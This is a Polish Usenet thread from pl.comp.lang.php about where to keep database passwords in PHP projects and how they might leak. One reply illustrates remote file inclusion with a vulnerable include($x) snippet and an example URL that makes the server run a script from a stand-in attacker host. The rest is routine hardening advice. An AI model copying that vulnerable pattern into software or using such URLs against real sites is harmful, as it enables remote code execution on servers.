Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > pl.comp.lang.php > #15604 > unrolled thread

baza

Back to article view | Back to pl.comp.lang.php

Contents

  baza denat 'POPIS/EU <NOSPAMtestowanije@go2.pl> - 2017-11-03 17:13 +0100
    Re: baza Lemat <#@lemat.priv.pl> - 2017-11-03 20:07 +0100
      Re: baza denat 'POPIS/EU <NOSPAMtestowanije@go2.pl> - 2017-11-03 20:12 +0100
        Re: baza Lemat <#@lemat.priv.pl> - 2017-11-03 21:02 +0100
          Re: baza denat 'POPIS/EU <NOSPAMtestowanije@go2.pl> - 2017-11-04 11:59 +0100
    Re: baza Rafal Podsiadly <spinacz24@gmail.com> - 2017-11-04 07:24 -0700
      Re: baza denat 'POPIS/EU <NOSPAMtestowanije@go2.pl> - 2017-11-04 19:13 +0100
    Re: baza Jivanmukta <jivanmukta@poczta.onet.pl> - 2017-11-04 18:10 +0100
      Re: baza denat 'POPIS/EU <NOSPAMtestowanije@go2.pl> - 2017-11-04 19:14 +0100
        Re: baza Rafal Podsiadly <spinacz24@gmail.com> - 2017-11-05 06:39 -0800

#15604 — baza

gdzie trzymacie hasła do bazy?
jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
czy można dać 700 na plik z hasłem - czy będzie on dostępny?

[toc] | [next] | [standalone]

#15605

W dniu 03.11.2017 o 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?

w plikach php

> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?

jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
wszystko to, co mu się podoba.

> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

masz usera, który jest właścicielem pliku
masz usera, który wykonuje plik (www-data,apache2)

aby użytkownik, który wykonuje plik miał możliwość jego wykonania musi 
mieć możliwość jego odczytu.

-- 
Pozdrawiam
Lemat

[toc] | [prev] | [next] | [standalone]

#15606

> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
> wszystko to, co mu się podoba.

dzięki, nie ogarniam
więc może po kolei

co to jest php iniection?

[toc] | [prev] | [next] | [standalone]

#15607

W dniu 03.11.2017 o 20:12, denat 'POPIS/EU pisze:
>> jeżeli serwis jest podatny np. na php injection to włamywacz odczyta 
>> wszystko to, co mu się podoba.
> 
> dzięki, nie ogarniam
> więc może po kolei
> 
> co to jest php iniection?

jeżeli nasz na serwerze skrypt typu:

<?PHP
include($x);
?>

to włamywacz konstruuje URL: 
http://www.twoja.strona.pl/skrypt.php?x=http://strona.wlamywacza.pl/evil.txt

w ten sposób twój serwer wykona skrypt włamywacza.

-- 
Pozdrawiam
Lemat

[toc] | [prev] | [next] | [standalone]

#15608

> <?PHP
> include($x);
> ?>

no tak dzięki

ale jeśmli mam tylko takie include("bank_dzolkow/hasla.php");

[toc] | [prev] | [next] | [standalone]

#15609

W dniu piątek, 3 listopada 2017 17:14:00 UTC+1 użytkownik denat 'POPIS/EU napisał:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?


Musisz pamiętać o kilku szczegółach. 

1. Ważne by cały serwer szedł tylko i wyłącznie przez jeden plik dla całej aplikacji. Wtedy pozostałe pliki zabezpieczasz przez htaccess. 

2. Jak spełniasz 1 warunek to pliki konfiguracyjne umieszczasz poza webem.
 mniej więcej frameworki przyjmują taką strukturę

\web\index.php >> tutaj konfigurujemy apache jako serwer główny. Lub .htaccess
\config -> konfiguracja aplikacji
\controller -> obsługa zdarzeń
\db -> modele do bazy danych (można rozbić na dwa)
\model -> modele formów
\vendor -> zewnętrzne biblioteki php
\log -> logi aplikacji
\component -> własne moduły które wykorzystujemy w więcej niż jednej aplikacji.

\runtime -> cache aplikacji (np. szablony | style css(skompilowane) js. 

Popatrz sobie jak to wygląda w popularnych frameworkach yii / yii2 / symfony / codeingeren -> wszystko masz na github więc możesz spokojnie popatrzeć w kod. 

[toc] | [prev] | [next] | [standalone]

#15613

dzięki, serwer mam na hostingu

[toc] | [prev] | [next] | [standalone]

#15612

W dniu 03.11.2017 17:13, denat 'POPIS/EU pisze:
> gdzie trzymacie hasła do bazy?
> jeśli w pliku php to jaka jest możliwość wycieku takiego hasła?
> czy można dać 700 na plik z hasłem - czy będzie on dostępny?

Hasło do bazy należy trzymać w pliku umieszczonym w katalogu poza 
public_html (czy też htdocs), tzn. poza dostępem Apache'a. W katalogu 
public_html powinien znajdować się plik rozruchowy index.php wywołujący 
odpowiednie skrypty z katalogu aplikacji. Tak działają frameworki. Na 
początek proponuję CodeIgniter.

[toc] | [prev] | [next] | [standalone]

#15614

no żesz w ch...
genialny pomysł w sumie z tym umieszczeniem poza katalogiem
dz.

ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?

[toc] | [prev] | [next] | [standalone]

#15615

W dniu sobota, 4 listopada 2017 19:15:03 UTC+1 użytkownik denat 'POPIS/EU napisał:
> no żesz w ch...
> genialny pomysł w sumie z tym umieszczeniem poza katalogiem
> dz.
> 
> ale wracając do tematu - czy można jakoś wyssać ten plik z hasłem?

Dodatkowo możesz pokusić się o funkcję klasę zwracająca konfiguracje. tylko w przypadku gdy jest na przykład token .... jak ktoś zapyta o konfiguracje odwoła się do metody congig->getconig to dostanie błąd dostępu.  Dobrze było by mieć wszystkie ustawienia w zmiennych prywatnych i tylko za pomocą metod je czytac pisać .. aby każdy skrypt nie mógł przeglądać konfiguracji tylko tam gdzie jest to potrzebne.

[toc] | [prev] | [standalone]

Back to top | Article view | pl.comp.lang.php

csiph-web